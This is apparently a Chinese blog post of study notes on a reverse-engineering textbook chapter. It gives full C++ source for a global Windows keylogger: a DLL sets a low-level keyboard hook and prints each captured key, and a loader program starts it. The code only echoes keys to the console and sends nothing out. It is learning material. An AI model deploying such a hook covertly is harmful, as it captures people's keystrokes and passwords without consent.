逆向工程核心原理 Chapter22 | 恶意键盘记录器

2024-09-01 23:20

本文主要是介绍逆向工程核心原理 Chapter22 | 恶意键盘记录器,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

教程这一章没给具体的实现,这里在Chapter21学习的基础上,试着实现一个键盘记录器。

键盘记录器实现

这里有个技术问题:记录下的敲击键(在KeyHook.dll中捕获的)(可以用wParam)怎么打印出来(在HookMain.exe中)?

第一种:记录在本地文件。这种实现比较简单。

第二种:与HookMain.exe通信。这种可以学到更多Windows编程知识。

这里实现第二种:

通信实现键盘记录

HookMain.cpp:

#include<iostream>
#include<Windows.h>#define LOAD_DLL "KeyHook.dll"
typedef void(*func)(); // 函数指针
signed main() {HMODULE hDll = NULL;func HookStart = NULL;func HookStop = NULL;char ch = 0;hDll = LoadLibraryA(LOAD_DLL);HookStart = (func)GetProcAddress(hDll, "HookStart");HookStop = (func)GetProcAddress(hDll, "HookStop");HookStart();HookStop();FreeLibrary(hDll);return 0;
}

KeyHook.cpp

要注意使用WH_KEYBOARD_LL

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<conio.h>
using namespace std;HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
HWND hWnd = NULL;BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: // 进程创建时调用hInstance = hModule;break;case DLL_PROCESS_DETACH: // 进程结束时调用break;}return TRUE;
}LRESULT CALLBACK keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam;/*typedef struct tagKBDLLHOOKSTRUCT {DWORD   vkCode;   // 按键代号DWORD   scanCode;  //硬件扫描代号DWORD   flags;  //事件类型 按下:0 抬起:128DWORD   time;ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;*/if (ks->flags == 128 || ks->flags == 129) {switch (ks->vkCode) {case 0x30: case 0x60:cout << "检测到按键:" << "0" << endl;break;case 0x31: case 0x61:cout << "检测到按键:" << "1" << endl;break;case 0x32: case 0x62:cout << "检测到按键:" << "2" << endl;break;case 0x33: case 0x63:cout << "检测到按键:" << "3" << endl;break;case 0x34: case 0x64:cout << "检测到按键:" << "4" << endl;break;case 0x35: case 0x65:cout << "检测到按键:" << "5" << endl;break;case 0x36: case 0x66:cout << "检测到按键:" << "6" << endl;break;case 0x37: case 0x67:cout << "检测到按键:" << "7" << endl;break;case 0x38: case 0x68:cout << "检测到按键:" << "8" << endl;break;case 0x39: case 0x69:cout << "检测到按键:" << "9" << endl;break;case 0x41:cout << "检测到按键:" << "A" << endl;break;case 0x42:cout << "检测到按键:" << "B" << endl;break;case 0x43:cout << "检测到按键:" << "C" << endl;break;case 0x44:cout << "检测到按键:" << "D" << endl;break;case 0x45:cout << "检测到按键:" << "E" << endl;break;case 0x46:cout << "检测到按键:" << "F" << endl;break;case 0x47:cout << "检测到按键:" << "G" << endl;break;case 0x48:cout << "检测到按键:" << "H" << endl;break;case 0x49:cout << "检测到按键:" << "I" << endl;break;case 0x4A:cout << "检测到按键:" << "J" << endl;break;case 0x4B:cout << "检测到按键:" << "K" << endl;break;case 0x4C:cout << "检测到按键:" << "L" << endl;break;case 0x4D:cout << "检测到按键:" << "M" << endl;break;case 0x4E:cout << "检测到按键:" << "N" << endl;break;case 0x4F:cout << "检测到按键:" << "O" << endl;break;case 0x50:cout << "检测到按键:" << "P" << endl;break;case 0x51:cout << "检测到按键:" << "Q" << endl;break;case 0x52:cout << "检测到按键:" << "R" << endl;break;case 0x53:cout << "检测到按键:" << "S" << endl;break;case 0x54:cout << "检测到按键:" << "T" << endl;break;case 0x55:cout << "检测到按键:" << "U" << endl;break;case 0x56:cout << "检测到按键:" << "V" << endl;break;case 0x57:cout << "检测到按键:" << "W" << endl;break;case 0x58:cout << "检测到按键:" << "X" << endl;break;case 0x59:cout << "检测到按键:" << "Y" << endl;break;case 0x5A:cout << "检测到按键:" << "Z" << endl;break;case 0x6A:cout << "检测到按键:" << "*" << endl;break;case 0x6B:cout << "检测到按键:" << "+" << endl;break;case 0x6D:cout << "检测到按键:" << "-" << endl;break;case 0x6E:cout << "检测到按键:" << "." << endl;break;case 0x6F:cout << "检测到按键:" << "/" << endl;break;case 0x0D:cout << "检测到按键:" << "Enter" << endl;break;case 0xA0: case 0xA1:cout << "检测到按键:" << "Shift" << endl;break;case 0x08:cout << "检测到按键:" << "Backspace" << endl;break;case 0x20:cout << "检测到按键:" << "Space" << endl;break;}// return 1; // 直接return就不传递(也就是拦截下来)}return CallNextHookEx(NULL, nCode, wParam, lParam);
}#ifdef __cplusplus
extern "C" {
#endif__declspec(dllexport) void HookStart() {hHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardProc, hInstance, 0);if (hHook == 0) {cout << "hook failed!\n";}MSG msg;while (1) {if (PeekMessageA(&msg,NULL,NULL,NULL,PM_REMOVE)) {TranslateMessage(&msg);DispatchMessageW(&msg);}else Sleep(0);}}__declspec(dllexport) void HookStop() {if (hHook) {UnhookWindowsHookEx(hHook);hHook = NULL;}}
#ifdef __cplusplus
}
#endif

效果:

在这里插入图片描述

防范恶意键盘记录器

虽然与逆向无关,但是这些还是蛮有必要的。

在这里插入图片描述

总结

多写,多练。Windows编程一定得精通才行。

这篇关于逆向工程核心原理 Chapter22 | 恶意键盘记录器的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1128337

相关文章

Python包管理工具核心指令uvx举例详细解析

《Python包管理工具核心指令uvx举例详细解析》:本文主要介绍Python包管理工具核心指令uvx的相关资料,uvx是uv工具链中用于临时运行Python命令行工具的高效执行器,依托Rust实... 目录一、uvx 的定位与核心功能二、uvx 的典型应用场景三、uvx 与传统工具对比四、uvx 的技术实

Python中使用uv创建环境及原理举例详解

《Python中使用uv创建环境及原理举例详解》uv是Astral团队开发的高性能Python工具,整合包管理、虚拟环境、Python版本控制等功能,:本文主要介绍Python中使用uv创建环境及... 目录一、uv工具简介核心特点:二、安装uv1. 通过pip安装2. 通过脚本安装验证安装:配置镜像源(可

java中Optional的核心用法和最佳实践

《java中Optional的核心用法和最佳实践》Java8中Optional用于处理可能为null的值,减少空指针异常,:本文主要介绍java中Optional核心用法和最佳实践的相关资料,文中... 目录前言1. 创建 Optional 对象1.1 常规创建方式2. 访问 Optional 中的值2.1

Mysql的主从同步/复制的原理分析

《Mysql的主从同步/复制的原理分析》:本文主要介绍Mysql的主从同步/复制的原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录为什么要主从同步?mysql主从同步架构有哪些?Mysql主从复制的原理/整体流程级联复制架构为什么好?Mysql主从复制注意

Nacos注册中心和配置中心的底层原理全面解读

《Nacos注册中心和配置中心的底层原理全面解读》:本文主要介绍Nacos注册中心和配置中心的底层原理的全面解读,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录临时实例和永久实例为什么 Nacos 要将服务实例分为临时实例和永久实例?1.x 版本和2.x版本的区别

apache的commons-pool2原理与使用实践记录

《apache的commons-pool2原理与使用实践记录》ApacheCommonsPool2是一个高效的对象池化框架,通过复用昂贵资源(如数据库连接、线程、网络连接)优化系统性能,这篇文章主... 目录一、核心原理与组件二、使用步骤详解(以数据库连接池为例)三、高级配置与优化四、典型应用场景五、注意事

电脑系统Hosts文件原理和应用分享

《电脑系统Hosts文件原理和应用分享》Hosts是一个没有扩展名的系统文件,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应... Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应

Dubbo之SPI机制的实现原理和优势分析

《Dubbo之SPI机制的实现原理和优势分析》:本文主要介绍Dubbo之SPI机制的实现原理和优势,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Dubbo中SPI机制的实现原理和优势JDK 中的 SPI 机制解析Dubbo 中的 SPI 机制解析总结Dubbo中

Java应用如何防止恶意文件上传

《Java应用如何防止恶意文件上传》恶意文件上传可能导致服务器被入侵,数据泄露甚至服务瘫痪,因此我们必须采取全面且有效的防范措施来保护Java应用的安全,下面我们就来看看具体的实现方法吧... 目录恶意文件上传的潜在风险常见的恶意文件上传手段防范恶意文件上传的关键策略严格验证文件类型检查文件内容控制文件存储

MyBatisX逆向工程的实现示例

《MyBatisX逆向工程的实现示例》本文主要介绍了MyBatisX逆向工程的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录逆向工程准备好数据库、表安装MyBATisX插件项目连接数据库引入依赖pom.XML生成实体类、